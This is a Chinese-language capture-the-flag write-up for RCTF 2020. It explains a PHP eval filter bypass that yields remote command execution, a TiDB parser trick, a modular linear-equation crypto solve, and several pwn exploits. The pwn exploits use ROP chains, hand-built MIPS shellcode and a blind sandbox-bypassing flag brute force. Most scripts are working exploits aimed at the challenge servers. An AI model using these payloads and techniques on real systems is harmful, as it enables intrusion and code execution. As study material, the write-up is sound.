mysql %3cforeach_RCTF 2020 Writeup
來(lái)啦!
今天也是活力滿滿的工作日小編
WEB
calc
解題思路
error_reporting ( 0 );
if(!isset( $_GET [ 'num' ])){
show_source ( __FILE__ );
}else{
$str = $_GET [ 'num' ];
$blacklist = [ '[a-z]' , '[\x7f-\xff]' , '\s' , "'" , '"' , '`' , '\[' , '\]' , '\$' , '_' , '\\\\' , '\^' , ',' ];
foreach ( $blacklist as $blackitem ) {
if ( preg_match ( '/' . $blackitem . '/im' , $str )) {
die( "what are you want to do?" );
}
}
@eval( 'echo ' . $str . ';' );
}
?>
fuzz一下沒(méi)被ban的字符:
URLENCODE:%251,URLDECODE:%1
URLENCODE:%250,URLDECODE:%0
URLENCODE:%251,URLDECODE:%1
URLENCODE:%252,URLDECODE:%2
URLENCODE:%253,URLDECODE:%3
URLENCODE:%254,URLDECODE:%4
URLENCODE:%255,URLDECODE:%5
URLENCODE:%256,URLDECODE:%6
URLENCODE:%257,URLDECODE:%7
URLENCODE:%258,URLDECODE:%8
URLENCODE:%259,URLDECODE:%9
URLENCODE:%10,URLDECODE:
URLENCODE:%11,URLDECODE:
URLENCODE:%12,URLDECODE:
URLENCODE:%13,URLDECODE:
URLENCODE:%14,URLDECODE:
URLENCODE:%15,URLDECODE:
URLENCODE:%16,URLDECODE:
URLENCODE:%17,URLDECODE:
URLENCODE:%18,URLDECODE:
URLENCODE:%19,URLDECODE:
URLENCODE:%1A,URLDECODE:
URLENCODE:%1B,URLDECODE:
URLENCODE:%1C,URLDECODE:
URLENCODE:%1D,URLDECODE:
URLENCODE:%1E,URLDECODE:
URLENCODE:%1F,URLDECODE:
URLENCODE:%21,URLDECODE:!
URLENCODE:%23,URLDECODE:#
URLENCODE:%25,URLDECODE:%
URLENCODE:%26,URLDECODE:&
URLENCODE:%28,URLDECODE:(
URLENCODE:%29,URLDECODE:)
URLENCODE:%2A,URLDECODE:*
URLENCODE:%2B,URLDECODE:+
URLENCODE:-,URLDECODE:-
URLENCODE:.,URLDECODE:.
URLENCODE:%2F,URLDECODE:/
URLENCODE:0,URLDECODE:0
URLENCODE:1,URLDECODE:1
URLENCODE:2,URLDECODE:2
URLENCODE:3,URLDECODE:3
URLENCODE:4,URLDECODE:4
URLENCODE:5,URLDECODE:5
URLENCODE:6,URLDECODE:6
URLENCODE:7,URLDECODE:7
URLENCODE:8,URLDECODE:8
URLENCODE:9,URLDECODE:9
URLENCODE:%3A,URLDECODE::
URLENCODE:%3B,URLDECODE:;
URLENCODE:%3C,URLDECODE:<
URLENCODE:%3D,URLDECODE:=
URLENCODE:%3E,URLDECODE:>
URLENCODE:%3F,URLDECODE:?
URLENCODE:%40,URLDECODE:@
URLENCODE:%7B,URLDECODE:{
URLENCODE:%7C,URLDECODE:|
URLENCODE:%7D,URLDECODE:}
URLENCODE:%7E,URLDECODE:~
我們可以使用的有數(shù)字、特殊符號(hào)以及一些運(yùn)算符,運(yùn)算符有這些:
< 、=、>、+、*、!、&、|、~、%
我們可以通過(guò)科學(xué)運(yùn)算法的方式拿到字符串0-9、E、+、.:
?num=(1000000000000000000000).(2)
返回:1.0E+212
最后一個(gè)字符是我們可控的,可以令其為0-9任意一個(gè)數(shù)字,這樣拼接起來(lái)后返回的就是一個(gè)字符串,并且我們還可以控制最后一位。
?num=((1000000000000000000000).(2)){1}
如上可以獲得.這個(gè)符號(hào),經(jīng)過(guò)測(cè)試,數(shù)字與任意字符串進(jìn)行除法運(yùn)算,可以獲得三個(gè)字母I、N、F。
因?yàn)轭}目中不允許使用引號(hào),所以這里的字符串可以用第一步獲取到的E、.、0-9來(lái)替換。
通過(guò)"1"|"E","3"|"E"的方式,可以獲取到u和w兩個(gè)字母。
現(xiàn)在我們擁有了這些可以使用的東西:
0-9、.、+、I、N、F、u、w、}
將他們組合起來(lái),相互進(jìn)行或、和、取反運(yùn)算,并取上一次的運(yùn)算結(jié)果作為下一次運(yùn)算的參數(shù)。
代碼:
strings = ['0','1','2','3','4','5','6','7','8','9','E','u','w','}','+','.','I','N','F']
input_value = 'n'
for s in strings:
for s1 in strings:
data = (chr(ord(s)|ord(s1))).strip()
if data not in strings:
strings.append(data)
if data == input_value:
# print(data)
print('success',s,'|',s1)
print(len(strings))
for s in strings:
for s1 in strings:
data = (chr(ord(s)&ord(s1)))
data = data.strip()
if data == input_value:
# print(data)
print(1)
print('success',s,'&',s1)
print(len(strings))
for s in strings:
for s1 in strings:
data = (chr(ord(s)|ord(s1))).strip()
if data not in strings:
strings.append(data)
if data == input_value:
# print(data)
print('success',s,'|',s1)
print(len(strings))
for s in strings:
for s1 in strings:
try:
data = (chr(ord(s)&ord(s1))).strip()
except:
continue
if data not in strings:
strings.append(data)
if data == input_value:
print(data)
# print(data)
print('success',s,'|',s1)
for s in strings:
try:
data = chr(~ord(s))
except:
continue
data = data.strip()
if data not in strings:
strings.append(data)
print(data)
if data == input_value:
# print(data)
print('success',s,'|')
input_value = 's'
print(strings)
此時(shí)我們以及可以獲得到這些字符串了:
接著就是一個(gè)一個(gè)拼的過(guò)程了,最終采用system(getallheaders{1})的方式進(jìn)行rce:
調(diào)用readflag的腳本:
((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).((((999**999).(1)){0})&(((999**999).(1)){1})).(((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).(((999**999).(1)){0}).(((999**999).(1)){1}).(((999**999).(1)){2}).((((999**999).(1)){0})|(((999**999).(1)){1})))()
第一遍構(gòu)造的是system(/readflag) 發(fā)現(xiàn)要算數(shù)
接著構(gòu)造 system(next(getallheaders()))
((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((1).(0)){0}|((1/0).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})).((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))))((((0/0).(0)){0}.(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((1/0).(0)){0}&((1/0).(0)){1})|(((8).(0)){0})).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).(((1/0).(0)){0}&((1/0).(0)){1}).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((0/0).(0)){0}&(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((2).(0)){0}))).(((((2).(0)){0}){0})|(((0/0).(0)){1})))()));
打過(guò)去的時(shí)候都需要進(jìn)行url編碼一下
最終結(jié)果:
Misc
mysql_interface
解題思路
考察tidb的parse
利用已有代碼重現(xiàn)parse過(guò)程,注意安裝的時(shí)候安裝對(duì)應(yīng)的版本的包
go mod init test
go get "github.com/pingcap/parser@v3.1.2-0.20200507065358-a5eade012146+incompatible"
go get "github.com/pingcap/tidb/types/parser_driver@v1.1.0-beta.0.20200520024639-0414aa53c912"
package main
import (
"fmt"
"github.com/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible
_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)
var isForbidden = [256]bool{}
const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
func init() {
for i := 0; i < len(forbidden); i++ {
isForbidden[forbidden[i]] = true
}
}
func allow(payload string) bool {
if len(payload) < 3 || len(payload) > 128 {
fmt.Println("length")
return false
}
for i := 0; i < len(payload); i++ {
// fmt.Println(payload[i])
if isForbidden[payload[i]] {
fmt.Println("isForbidden")
return false
}
}
if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
fmt.Println("[*] parser success")
return true
}
fmt.Println("parser error")
return false
}
func main() {
payload := "select+flag from .flag"
result := allow(payload)
fmt.Println(result)
}
經(jīng)過(guò)不斷瞎雞兒fuzz。最終發(fā)現(xiàn)在table_name這里帶.可以過(guò)去
Cryto
easy_f(x)
解題思路
簡(jiǎn)單解方程,513元,模下線性方程,用sage解個(gè)矩陣就好
這里是是python結(jié)合sage的腳本,可能要稍微改改才能跑,還在改23333
import string
from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes_to_long,inverse
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
#context.log_level = "debug"
#table='zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'
sh=remote("124.156.140.90","2333")
sh.recvuntil("sha256(XXXX+")
suffix=sh.recv(len('SLhlaef5L6nM6pYx')).decode('utf-8')
sh.recvuntil("== ")
cipher=sh.recv(len('3ade7863765f07a3fbb9d853a00ffbe0485c30eb607105196b0d1854718a7b6c')).decode('utf-8')
sh.recvuntil("Give me XXXX:")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendline(proof)
sh.recvuntil("M=")
m = int(sh.recvuntil("\n")[:-1])
sh.recvuntil("want?\n")
sh.sendline("513")
x=[]
r=[]
for _ in range(513):
sh.recvuntil("f(")
x.append(int(sh.recvuntil(")")[:-1]))
sh.recvuntil("=")
r.append(int(sh.recvuntil("\n")[:-1]))
#sage:
a=[]
for i in x:
b=[]
for j in range(513):
b.append(pow (i, j, m))
a.append(b)
y=[]
for i in r:
y.append(i)
A=Matrix(Zmod(m),a)
Y=vector(y)
X = A.solve_right(Y)
sh.sendline(str(X[0]))
sh.interactive()
Pwn
bf
解題思路
漏洞在-[]可以循環(huán)執(zhí)行[]括號(hào)里面的命令,這里會(huì)造成一個(gè)單字節(jié)溢出,溢出剛好可以修改code的指針值。然后后面就是單字節(jié)溢出在棧上的利用了。不過(guò)有一點(diǎn)需要注意,在函數(shù)退出,進(jìn)行利用鏈之前,要將code指針還原,有個(gè)函數(shù)應(yīng)該是對(duì)code指針進(jìn)行析構(gòu)了,不還原程序會(huì)crash.
from PwnContext import *
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'bf'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('124.156.135.103',6002)
p=rs('remote')
return p
def debug():
if(local==1):
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0x1B1A,'sym2':0x16D8,'sym3':0x1BCB,'sym4':0x1BFE}
ctx.breakpoints = [0x1B1A,0x16D8,0x1BCB,0x1BFE]
ctx.debug()
#
def exp():
payload="-[>+],"
sla("enter your code:\n",payload)
ru("ing...")
s(p8(0x78))
ru("\x3a\x20")
libc_base=uu64(r(6))-(0x7ffff740db97-0x00007ffff73ec000)
leak("libc_base",libc_base)
if libc_base&0xff !=0:
raise Exception("no libc_base")
sa("continue",'y')
#pause()
#debug()
#pause()
payload="-[>+],"
sla("enter your code:\n",payload)
ru("ing...")
s(p8(0x88))
ru("\x3a\x20")
stack=uu64(r(6))
leak("stack_addr",stack)
#pause()
if libc_base>>40 !=0x7f:
raise Exception("no stack")
leak("stack",stack)
#pause()
sa("continue",'y')
payload="-[>,]"
sla("enter your code:\n",payload)
ru("ing...")
for i in range(0x400):
s(p8(0x70))
sa("continue",'y')
rop_addr=stack-0x528
pop_rsp=0x0000000000003960+libc_base
payload="[......]"+p64(pop_rsp)+p64(rop_addr)
sla("enter your code:\n",payload)
sa("continue",'y')
pop_rdi_ret=0x000000000002155f+libc_base
pop_rsi_ret=0x0000000000023e6a+libc_base
pop_rdx_ret=0x0000000000001b96+libc_base
open_addr=libc_base+libc.symbols["open"]
read_addr=libc_base+libc.symbols["read"]
puts_addr=libc_base+libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(rop_addr+19*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)+'./flag\x00'
payload="-[,>+],"
sla("enter your code:\n",payload)
for i in range(len(orw)):
s(orw[i])
for i in range(0x400-len(orw)+1):
s('\x40')
#debug()
sa("continue",'n')
while(1):
try:
p=choice()
exp()
break
except Exception:
p.close()
irt()
note
解題思路
題目在檢查數(shù)組邊界時(shí)只檢查了最大值且使用了有符號(hào)數(shù),導(dǎo)致數(shù)組下溢
from pwn import *
prog = './note'
p = process(prog)
libc = ELF("./libc.so.6")
p = remote("124.156.135.103", 6004)
def add(idx, size):
p.sendlineafter("Choice: ", '1')
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Size: ", str(size))
def show(idx):
p.sendlineafter("Choice: ", '3')
p.sendlineafter("Index: ", str(idx))
def edit(idx, content):
p.sendlineafter("Choice: ", '4')
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Message: \n", content)
def free(idx):
p.sendlineafter("Choice: ", '2')
p.sendlineafter("Index: ", str(idx))
def exp():
add(0, 1)
show(-5)
p.recv(0x18)
libc.address = u64(p.recv(6)+'\x00'*2)-0x00007fe3dafa1760+0x7fe3dadbc000
log.info("libc.address ==> " + hex(libc.address))
edit(-5, p64(libc.sym['__free_hook'])+p64(8))
edit(-5, p64(libc.address+0x106ef8))
free(0)
p.interactive()
if __name__ == '__main__':
exp()
mginx
解題思路
題目在檢查數(shù)組邊界時(shí)只檢查了最大值且使用了有符號(hào)數(shù),導(dǎo)致數(shù)組下溢
$ checksec ./mginx
[!] Did not find any GOT entries
[*] '/home/kirin/xctf/mnigx/mginx'
Arch: mips64-64-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x120000000)
RWX: Has RWX segments
這里是實(shí)現(xiàn)的一個(gè)簡(jiǎn)單的HTTP解析程序
程序在根據(jù)Content-Length計(jì)算第二次需要read的數(shù)據(jù)長(zhǎng)度時(shí)存在邏輯問(wèn)題,并且直接從第一次read的HTTP頭結(jié)尾開(kāi)始read,可以造成棧溢出:
.text:0000000120001B00 dli $v0, 0x120000000 # Doubleword Load Immediate
.text:0000000120001B04 daddiu $a1, $v0, (asc_1200021E0 - 0x120000000) # "\r\n\r\n"
.text:0000000120001B08 ld $a0, 0x10C0+haystack($fp) # haystack
.text:0000000120001B0C dla $v0, strstr # Load 64-bit address
.text:0000000120001B10 move $t9, $v0
.text:0000000120001B14 jalr $t9 ; strstr # Jump And Link Register
.text:0000000120001B18 nop
.text:0000000120001B1C sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword
.text:0000000120001B20 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B24 beqz $v0, loc_120001C70 # Branch on Zero
.text:0000000120001B28 nop
.text:0000000120001B2C ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B30 daddiu $v0, 4 # Doubleword Add Immediate Unsigned
.text:0000000120001B34 sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword
.text:0000000120001B38 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B3C sd $v0, 0x10C0+var_1070($fp) # Store Doubleword
.text:0000000120001B40 lw $v1, 0x10C0+var_10A8($fp) # Load Word
.text:0000000120001B44 daddiu $a0, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned
.text:0000000120001B48 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B4C dsubu $v0, $a0 # Doubleword Subtract Unsigned
.text:0000000120001B50 sll $v0, 0 # Shift Left Logical
.text:0000000120001B54 subu $v0, $v1, $v0 # Subtract Unsigned
.text:0000000120001B58 move $v1, $v0
.text:0000000120001B5C lw $v0, 0x10C0+var_1068($fp) # Load Word
.text:0000000120001B60 addu $v0, $v1, $v0 # Add Unsigned
.text:0000000120001B64 sw $v0, 0x10C0+var_10B8($fp) # Store Word
.text:0000000120001B68 daddiu $v1, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned
.text:0000000120001B6C lw $v0, 0x10C0+var_10A8($fp) # Load Word
.text:0000000120001B70 daddu $v0, $v1, $v0 # Doubleword Add Unsigned
.text:0000000120001B74 sd $v0, 0x10C0+buf($fp) # Store Doubleword
.text:0000000120001B78 b loc_120001BD0 # Branch Always
.text:0000000120001B7C nop
.text:0000000120001B80 # ---------------------------------------------------------------------------
.text:0000000120001B80
.text:0000000120001B80 loc_120001B80: # CODE XREF: main+4A0↓j
.text:0000000120001B80 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001B84 move $a2, $v0 # nbytes
.text:0000000120001B88 ld $a1, 0x10C0+buf($fp) # buf
.text:0000000120001B8C move $a0, $zero # fd
.text:0000000120001B90 dla $v0, read # Load 64-bit address
.text:0000000120001B94 move $t9, $v0
.text:0000000120001B98 jalr $t9 ; read # Jump And Link Register
.text:0000000120001B9C nop
.text:0000000120001BA0 sw $v0, 0x10C0+var_1094($fp) # Store Word
.text:0000000120001BA4 lw $v0, 0x10C0+var_1094($fp) # Load Word
.text:0000000120001BA8 blez $v0, loc_120001BE4 # Branch on Less Than or Equal to Zero
.text:0000000120001BAC nop
.text:0000000120001BB0 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BB4 ld $v1, 0x10C0+buf($fp) # Load Doubleword
.text:0000000120001BB8 daddu $v0, $v1, $v0 # Doubleword Add Unsigned
.text:0000000120001BBC sd $v0, 0x10C0+buf($fp) # Store Doubleword
.text:0000000120001BC0 lw $v1, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BC4 lw $v0, 0x10C0+var_1094($fp) # Load Word
.text:0000000120001BC8 subu $v0, $v1, $v0 # Subtract Unsigned
.text:0000000120001BCC sw $v0, 0x10C0+var_10B8($fp) # Store Word
.text:0000000120001BD0
.text:0000000120001BD0 loc_120001BD0: # CODE XREF: main+444↑j
.text:0000000120001BD0 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BD4 bnez $v0, loc_120001B80 # Branch on Not Zero
.text:0000000120001BD8 nop
.text:0000000120001BDC b loc_120001BE8 # Branch Always
.text:0000000120001BE0 nop
類(lèi)似payload:"GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b0
程序沒(méi)有開(kāi)啟NX保護(hù),但是mips沒(méi)有類(lèi)似jmp rsp的操作
考慮先遷移棧到data段,而后再次棧溢出即可
(這里orw的shellcode,賽時(shí)沒(méi)找到合適的as,為了趕時(shí)間,直接對(duì)照題目的elf文件中匯編到機(jī)器碼的規(guī)則,以及題目uclibc中特定函數(shù)的syscall參數(shù),人工翻譯出來(lái)的orz)
from pwn import *
import sys
context.log_level="debug"
context.endian="big"
if len(sys.argv)==1:
p=process(["qemu-mips64","-g","1234","-L","./","./mginx"])
time.sleep(3)
elif len(sys.argv)==2:
p=process(["qemu-mips64","-L","./","./mginx"])
else:
p=remote("124.156.129.96",8888)
payload1="GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b1
#payload1=payload1.ljust(0x1000,"a")
p.send(payload1)
ra=0x1200018C4
fp=0x120012540
gp=0x12001a250
payload="b"*(0x654-0x20)+p64(gp)+p64(fp)+p64(ra)+"d"*8
payload=payload.ljust(0xd98,"b")
p.sendline(payload)
#p.interactive()
p.recvuntil("404 Not Found :(")
#time.sleep(2)
p.sendline(payload1)
ra=0x120013608
#open
shellcode="\xc8\xff\xa4\x67"[::-1]
shellcode+="\xff\xff\x05\x28"[::-1]
shellcode+="\xff\xff\x06\x28"[::-1]
shellcode+="\x8a\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
#read
shellcode+="\x00\x40\x20\x25"#a0
shellcode+="\xc0\xff\xa5\x67"[::-1]#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x88\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
#write
shellcode+="\x24\x04\x00\x01"#a0
shellcode+="\xc0\xff\xa5\x67"[::-1]#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x89\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
f="/flag"
payload="b"*(0x653-0x40)+f+"\x00"*(0x28-len(f))+p64(fp)+p64(ra)+"d"*8+shellcode+"a"*(0xd99-0x654-len(shellcode))
p.sendline(payload)
p.sendline()
p.interactive()
no write
解題思路
$ checksec ./no_write
[*] '/home/kirin/xctf/no_write/no_write'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序用prctl開(kāi)啟了沙箱,沙箱規(guī)則:
$ seccomp-tools dump ./no_write line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
只能進(jìn)行open read 和exit
因?yàn)闆](méi)有l(wèi)eak,所以首先要做的就是棧遷移,直接通過(guò)連續(xù)復(fù)用leave ret語(yǔ)句即可
因?yàn)檫@里沒(méi)有syscall,所以想辦法在棧中留下一個(gè)syscall
觀察發(fā)現(xiàn)遷移棧后rcx=libc中read地址附近一個(gè)地址:
.text:000000000011007F syscall ; LINUX - sys_read.text:0000000000110081 cmp rax, 0FFFFFFFFFFFFF000h.text:0000000000110087 ja short loc_1100E0.text:0000000000110089 rep retn.text:0000000000110090 loc_110090: ; CODE XREF: read+B↑j.text:0000000000110090 push r12.text:0000000000110092 push rbp.text:0000000000110093 mov r12, rdx.text:0000000000110096 push rbx.text:0000000000110097 mov rbp, rsi.text:000000000011009A mov ebx, edi.text:000000000011009C sub rsp, 10h.text:00000000001100A0 call sub_1306E0.text:00000000001100A5 mov rdx, r12 ; count.text:00000000001100A8 mov r8d, eax.text:00000000001100AB mov rsi, rbp ; buf.text:00000000001100AE mov edi, ebx ; fd.text:00000000001100B0 xor eax, eax.text:00000000001100B2 syscall
偏移:0x110081位置
附近恰好有syscall地址,所以想到直接利用調(diào)用start中的libc_start_main來(lái)在棧中構(gòu)造syscall地址
簡(jiǎn)單說(shuō)明一下:libc_start_main邏輯:在重新執(zhí)行0x110081位置后,會(huì)直接ret入libc_start_main指定的"main函數(shù)"地址,這時(shí)候rbp=rcx,push入棧
在棧中留下一個(gè)syscall附近地址后(read附近的syscall可以順利ret,沒(méi)有crash),只需要多次寫(xiě),構(gòu)造一條rop鏈,并修改地址低字節(jié),就可以實(shí)現(xiàn)open("./flag");read(fd,flag_addr,len);
flag讀入data段后,因?yàn)闆](méi)有輸出,所以要選擇一條已知地址的cmp語(yǔ)句來(lái)實(shí)現(xiàn)判斷,一一看過(guò)之后最后選擇:
.text:0000000000400750 loc_400750: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400750 mov rdx, r15
.text:0000000000400753 mov rsi, r14
.text:0000000000400756 mov edi, r13d
.text:0000000000400759 call qword ptr [r12+rbx*8]
.text:000000000040075D add rbx, 1
.text:0000000000400761 cmp rbp, rbx
.text:0000000000400764 jnz short loc_400750
.text:0000000000400766
.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400766 add rsp, 8
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn
只需讓flag放在合適位置,在調(diào)用.text:0000000000400766時(shí)候就可以讓flag其中一位pop入寄存器,而后再ret入0x400761這個(gè)位置,兩個(gè)思路:
直接通過(guò)比較rbp和rbx的值判斷flag:rbx是flag其中一位(其他位覆蓋為00字節(jié)就可以實(shí)現(xiàn)一位一位pop),而后設(shè)置rbp為猜測(cè)值,這樣只有相等時(shí),才會(huì)繼續(xù)走下面的ret,在ret位置放置read,就可以通過(guò)判斷是否阻塞來(lái)爆破每一位
第二種類(lèi)似:控制r12,rbp=0,這樣總會(huì)走jnz程序流,這時(shí)候rbx為特定值,通過(guò)不斷修改r12,當(dāng)r12+rbx*8位置處為read時(shí)發(fā)生阻塞,只需要在特定位置放置一個(gè)可以read的地址,r12從大到小,當(dāng)?shù)谝淮伟l(fā)生read阻塞時(shí),r12+rbx*8就是已知的一個(gè)地址,r12已知,直接可以計(jì)算出rbx
賽時(shí)趕時(shí)間沒(méi)寫(xiě)好完全的多線程腳本,通過(guò)修改current值(flag字符的index),一位一位爆破即可:
from pwn import *
import time
context.log_level="debug"
#p=process("./no_write")
current=4
for i in range(32,127):
print i
try:
p=remote("129.211.134.166",6000)
payload1="a"*0x10+p64(0x601f00)+p64(0x04006F5)
time.sleep(0.5)
p.send(payload1)
payload2="a"*0x10+p64(0x601f00)+p64(0x0400773)+p64(0x4006bf)+p64(0x400771)+p64(0x601e70)+p64(0)+p64(0x400544)
time.sleep(0.5)
p.send(payload2)
payload3=(p64(0x400772)+p64(0))*6+p64(0x04004f0)
time.sleep(0.5)
p.send(payload3)
payload4=p64(0)*5+p64(0x400773)+p64(3)+p64(0x400771)+p64(0x601d00-current)+p64(0)
payload4+=p64(0x4004f0)+p64(0x400773)+p64(0)
payload4+=p64(0x400771)+p64(0x601e40)+p64(0)+p64(0x4004f0)
payload4+=p64(0x400771)+p64(0x601e00)+p64(0)+p64(0x4004f0)
payload4+=p64(0x40076d)+p64(0x601e28)+"./flag"
f_addr=0x601f28
rop=p64(0x0400773)+p64(f_addr)+p64(0x400771)+p64(0)+p64(0)+"\xb2"
time.sleep(0.5)
p.send(payload4)
time.sleep(0.5)
p.send(rop)
time.sleep(0.5)
p.send("aa")
payload5=p64(0x400771)+p64(0x601d01)+p64(0)+p64(0x4004f0)
payload5+=p64(0x400771)+p64(0x601cf8)+p64(0)+p64(0x4004f0)
payload5+=p64(0x40076d)+p64(0x601ce0)+p64(0)*13
payload5+=p64(0x40076d)+p64(0x601e28)
time.sleep(0.5)
p.send(payload5)
r12=0
bp=i
payload6="\x00"*7+p64(bp)+p64(r12)+p64(0)+p64(0x601f00)+p64(0x100)+p64(0x400761)
payload6+=p64(0)*7+p64(0x4004f0)+p64(0x4004f0)
time.sleep(0.5)
p.send(payload6)
#gdb.attach(p)
time.sleep(0.5)
p.send(p64(0x40076A))
print "current",chr(i)
p.recvall()
break
except:
print "fail"
Reverse
go-flag
解題思路
go 多線程
長(zhǎng)度F6的都是寫(xiě),fun1是讀,但是不知道什么時(shí)候讀的
這些協(xié)程的運(yùn)行于brainfuck的執(zhí)行過(guò)程相似。
main_main_fun1作用比較明顯,就是接受輸入,并調(diào)用了runtime_chansend,那讀取數(shù)數(shù)據(jù)必然就要使用runtime_chanrecv,其交叉引用共了24個(gè)函數(shù)(用戶(hù)自寫(xiě)函數(shù)),那么要校驗(yàn)輸入肯定要用自減,自減的循環(huán)數(shù)即是對(duì)應(yīng)的正確字符。注意到如下賦值語(yǔ)句:
4BB29D 88 14 0E mov [rsi+rcx], dl
以此字節(jié)碼搜索正好搜索到24處,dl即為輸入字符,[rsi+rcx-1]就是循環(huán)數(shù)。
